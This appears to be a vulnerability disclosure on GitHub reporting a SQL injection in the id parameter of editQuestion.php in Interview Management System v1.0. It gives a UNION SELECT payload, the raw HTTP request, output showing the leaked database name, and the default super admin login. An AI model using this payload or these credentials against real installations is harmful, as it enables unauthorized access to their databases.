

main

...

bug\_report / vendors / janobe / interview-management-system / SQLi-1.md



Fright1Moch Create SQLi-1.md

History

1 contributor

31 lines (21 sloc) | 1.08 KB

...

# Interview Management System v1.0 by janobe has SQL injection

BUG\_Author: Fright-Moch

Login account: [janobe@janobe.com](mailto:janobe@janobe.com)/janobe (Super Admin account)

vendors: <https://www.sourcecodester.com/php/14585/interview-management-system-phpmysqli-full-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /interview/editQuestion.php?id=

Vulnerability location: /interview/editQuestion.php?id=, id

dbname =sourcecodester\_interviewdb

[+] Payload: /interview/editQuestion.php?id=-6%20union%20select%201,database()--+ // Leak place ---> id

```
GET /interview/editQuestion.php?id=-6%20union%20select%201,database()--+ HTTP/1.1
```

```
Host: 192.168.1.19
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=fjhrjdpuej6edqv5haoadj31c  
Connection: close

Load URL

Split URL

Execute

http://192.168.1.19/interview/editQuestion.php?id=-6 union select 1,database()--+

Post data

Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

Replace All

Interview System

Home

Add New Candidate

Add New Question

View Candidates

View Questions

View All Questions

SL	Question	Action
1	<div>sourcecodester_interviewdb</div>	<div>Submit</div>

Logout